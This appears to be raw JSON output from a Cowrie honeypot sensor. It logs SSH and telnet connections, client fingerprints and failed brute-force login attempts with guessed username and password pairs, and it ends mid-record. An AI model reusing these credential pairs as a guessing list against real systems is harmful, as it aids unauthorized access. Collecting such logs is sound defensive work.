{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:48.828338Z","src_ip":"221.139.88.149","session":"6e75219c1d79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"tester","message":"login attempt [test/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:49.766531Z","src_ip":"221.139.88.149","session":"6e75219c1d79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:50.998228Z","src_ip":"221.139.88.149","session":"6e75219c1d79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.330562114715576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:52.109715Z","src_ip":"122.102.44.174","session":"4bd93dced4fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12415647506714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:52.196736Z","src_ip":"122.102.44.174","session":"4b38f2ce005d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":43270,"dst_ip":"10.17.0.5","dst_port":23,"session":"df8e031c073b","protocol":"telnet","message":"New connection: 122.102.44.174:43270 (10.17.0.5:23) [session: df8e031c073b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:55.662327Z"}
{"eventid":"cowrie.session.closed","duration":30.311780214309692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:56.127340Z","src_ip":"122.102.44.174","session":"78f212726eab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.530333280563354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:57.110933Z","src_ip":"122.102.44.174","session":"4f772410f8cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.481049299240112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:57.133384Z","src_ip":"122.102.44.174","session":"981b2da271ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":45388,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac78c9a39e98","protocol":"telnet","message":"New connection: 122.102.44.174:45388 (10.17.0.5:23) [session: ac78c9a39e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:57.278584Z"}
{"eventid":"cowrie.session.closed","duration":30.481295108795166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:02.115241Z","src_ip":"122.102.44.174","session":"47de62268344","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.499369859695435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:04.177129Z","src_ip":"122.102.44.174","session":"383cd4ea421b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":59614,"dst_ip":"10.17.0.5","dst_port":23,"session":"4addf2ed34c9","protocol":"telnet","message":"New connection: 122.102.44.174:59614 (10.17.0.5:23) [session: 4addf2ed34c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:06.607164Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":60830,"dst_ip":"159.203.135.109","dst_port":22,"session":"147d62fbf958","protocol":"ssh","message":"New connection: 213.209.159.159:60830 (159.203.135.109:22) [session: 147d62fbf958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:11.016313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:11.020982Z","src_ip":"213.209.159.159","session":"147d62fbf958","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:11.102509Z","src_ip":"213.209.159.159","session":"147d62fbf958","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"giavanna","password":"giavanna","message":"login attempt [giavanna/giavanna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:11.502448Z","src_ip":"213.209.159.159","session":"147d62fbf958","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.557373046875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:12.139181Z","src_ip":"122.102.44.174","session":"98ad5908d3a3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"giavanna","password":"giavanna1","message":"login attempt [giavanna/giavanna1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:12.587628Z","src_ip":"213.209.159.159","session":"147d62fbf958","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.575716018676758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:13.160556Z","src_ip":"122.102.44.174","session":"82f9f48aa28f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"giavanna","password":"giavanna123","message":"login attempt [giavanna/giavanna123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:13.671457Z","src_ip":"213.209.159.159","session":"147d62fbf958","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"giavanna","password":"giavanna1234","message":"login attempt [giavanna/giavanna1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:14.756297Z","src_ip":"213.209.159.159","session":"147d62fbf958","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"giavanna","password":"giavanna12345","message":"login attempt [giavanna/giavanna12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:15.841739Z","src_ip":"213.209.159.159","session":"147d62fbf958","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:16.927269Z","src_ip":"213.209.159.159","session":"147d62fbf958","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43714,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f57a2013fb7","protocol":"ssh","message":"New connection: 159.203.92.129:43714 (159.203.135.109:22) [session: 7f57a2013fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:22.488057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:22.492720Z","src_ip":"159.203.92.129","session":"7f57a2013fb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:22.496932Z","src_ip":"159.203.92.129","session":"7f57a2013fb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Vty","password":"123456","message":"login attempt [Vty/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:22.507128Z","src_ip":"159.203.92.129","session":"7f57a2013fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:23.513591Z","src_ip":"159.203.92.129","session":"7f57a2013fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.450819730758667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:26.113021Z","src_ip":"122.102.44.174","session":"df8e031c073b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85048818588257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:28.128938Z","src_ip":"122.102.44.174","session":"ac78c9a39e98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":5631,"dst_ip":"10.17.0.5","dst_port":22,"session":"120b57a32f64","protocol":"ssh","message":"New connection: 201.149.53.243:5631 (10.17.0.5:22) [session: 120b57a32f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:34.148458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:34.153460Z","src_ip":"201.149.53.243","session":"120b57a32f64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:34.217777Z","src_ip":"201.149.53.243","session":"120b57a32f64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"oracleoracle","message":"login attempt [ubuntu/oracleoracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:34.506361Z","src_ip":"201.149.53.243","session":"120b57a32f64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:35.573496Z","src_ip":"201.149.53.243","session":"120b57a32f64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":47270,"dst_ip":"10.17.0.5","dst_port":22,"session":"54fefac919f9","protocol":"ssh","message":"New connection: 210.183.21.53:47270 (10.17.0.5:22) [session: 54fefac919f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:36.913988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:36.919264Z","src_ip":"210.183.21.53","session":"54fefac919f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:37.120634Z","src_ip":"210.183.21.53","session":"54fefac919f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.574328899383545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:37.181356Z","src_ip":"122.102.44.174","session":"4addf2ed34c9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root333","message":"login attempt [root/root333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:37.957261Z","src_ip":"210.183.21.53","session":"54fefac919f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:39.162210Z","src_ip":"210.183.21.53","session":"54fefac919f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":33174,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd5141622664","protocol":"telnet","message":"New connection: 122.102.44.174:33174 (10.17.0.5:23) [session: fd5141622664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:43.578992Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":47588,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6b5a8e941a9","protocol":"ssh","message":"New connection: 221.139.88.149:47588 (159.203.135.109:22) [session: a6b5a8e941a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:50.109300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:50.114241Z","src_ip":"221.139.88.149","session":"a6b5a8e941a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:50.307338Z","src_ip":"221.139.88.149","session":"a6b5a8e941a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"test","message":"login attempt [ftpuser1/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:51.242729Z","src_ip":"221.139.88.149","session":"a6b5a8e941a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:52.544043Z","src_ip":"221.139.88.149","session":"a6b5a8e941a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":48462,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8c795ae0968","protocol":"telnet","message":"New connection: 122.102.44.174:48462 (10.17.0.5:23) [session: b8c795ae0968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:16:53.592197Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":47777,"dst_ip":"10.17.0.5","dst_port":22,"session":"02b005c2260f","protocol":"ssh","message":"New connection: 2.57.121.112:47777 (10.17.0.5:22) [session: 02b005c2260f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:01.921634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:01.982180Z","src_ip":"2.57.121.112","session":"02b005c2260f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-e